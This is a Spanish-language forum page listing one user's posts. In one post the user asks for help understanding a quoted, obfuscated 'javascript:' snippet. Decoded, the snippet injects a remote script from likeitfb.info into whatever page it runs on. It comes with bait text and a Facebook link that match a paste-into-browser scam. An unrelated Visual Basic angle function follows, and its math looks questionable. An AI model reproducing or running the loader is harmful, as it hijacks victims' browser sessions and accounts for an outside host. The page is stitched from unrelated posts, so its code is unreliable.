Me ayudas a comprenderlo? jaaj
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCitarjavascript:var _0x53f5=["\x37\x3A\x28\x61\x3D\x28\x62\x3D\x38\x29\x2E\x39\x28\x27\x36\x27\x29\x29\x2E\x63\x3D\x27\x2F\x2F\x35\x2E\x32\x2E\x33\x2E\x34\x2F\x31\x2F\x31\x2E\x64\x3F\x69\x3D\x27\x2B\x6A\x2E\x68\x28\x29\x2C\x62\x2E\x65\x2E\x66\x28\x61\x29\x3B\x67\x28\x30\x29","\x7C","\x73\x70\x6C\x69\x74","\x7C\x6E\x6F\x76\x69\x6F\x7C\x70\x72\x75\x65\x62\x61\x70\x69\x7C\x6C\x69\x6B\x65\x69\x74\x66\x62\x7C\x69\x6E\x66\x6F\x7C\x77\x77\x77\x7C\x73\x63\x72\x69\x70\x74\x7C\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x7C\x7C\x73\x72\x63\x7C\x6A\x73\x7C\x62\x6F\x64\x79\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x76\x6F\x69\x64\x7C\x72\x61\x6E\x64\x6F\x6D\x7C\x74\x6F\x6B\x65\x6E\x7C\x4D\x61\x74\x68","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0x24d3x1,_0x24d3x2,_0x24d3x3,_0x24d3x4,_0x24d3x5,_0x24d3x6){_0x24d3x5=function (_0x24d3x3){return _0x24d3x3.toString(36);} ;if(!_0x53f5[5][_0x53f5[4]](/^/,String)){while(_0x24d3x3--){_0x24d3x6[_0x24d3x3.toString(_0x24d3x2)]=_0x24d3x4[_0x24d3x3]||_0x24d3x3.toString(_0x24d3x2);} ;_0x24d3x4=[function (_0x24d3x5){return _0x24d3x6[_0x24d3x5];} ];_0x24d3x5=function (){return _0x53f5[6];} ;_0x24d3x3=1;} ;while(_0x24d3x3--){if(_0x24d3x4[_0x24d3x3]){_0x24d3x1=_0x24d3x1[_0x53f5[4]]( new RegExp(_0x53f5[7]+_0x24d3x5(_0x24d3x3)+_0x53f5[7],_0x53f5[8]),_0x24d3x4[_0x24d3x3]);} ;} ;return _0x24d3x1;} (_0x53f5[0],20,20,_0x53f5[3][_0x53f5[2]](_0x53f5[1]),0,{}));
Citardefinitivamente este es el novio mas valiente del mundo, mira lo que hizo por su novia: http://www.facebook.com/pages/El-novio-mas-valiente-del-mundo-Video/212722378775873
Option Explicit
Public Const DegreeToRadian As Single = 0.0174532925
Sub main()
MsgBox DegreeToRadian * Engine_GetAngle(50, 22, 67, 33)
End Sub
Public Function Engine_GetAngle(ByVal CenterX As Integer, ByVal CenterY As Integer, ByVal TargetX As Integer, ByVal TargetY As Integer) As Single
Dim SideA As Single
Dim SideC As Single
On Error GoTo ErrOut
'Check for horizontal lines (90 or 270 degrees)
If CenterY = TargetY Then
'Check for going right (90 degrees)
If CenterX < TargetX Then
Engine_GetAngle = 90
'Check for going left (270 degrees)
Else
Engine_GetAngle = 270
End If
'Exit the function
Exit Function
End If
'Check for horizontal lines (360 or 180 degrees)
If CenterX = TargetX Then
'Check for going up (360 degrees)
If CenterY > TargetY Then
Engine_GetAngle = 360
'Check for going down (180 degrees)
Else
Engine_GetAngle = 180
End If
'Exit the function
Exit Function
End If
'Calculate Side C
SideC = Sqr(Abs(TargetX - CenterX) ^ 2 + Abs(TargetY - CenterY) ^ 2)
'Side B = CenterY
'Calculate Side A
SideA = Sqr(Abs(TargetX - CenterX) ^ 2 + TargetY ^ 2)
'Calculate the angle
Engine_GetAngle = (SideA ^ 2 - CenterY ^ 2 - SideC ^ 2) / (CenterY * SideC * -2)
Engine_GetAngle = (Atn(-Engine_GetAngle / Sqr(-Engine_GetAngle * Engine_GetAngle + 1)) + 1.5708) * 57.29583
'If the angle is >180, subtract from 360
If TargetX < CenterX Then Engine_GetAngle = 360 - Engine_GetAngle
'Exit function
Exit Function
'Check for error
ErrOut:
'Return a 0 saying there was an error
Engine_GetAngle = 0
Exit Function
End Function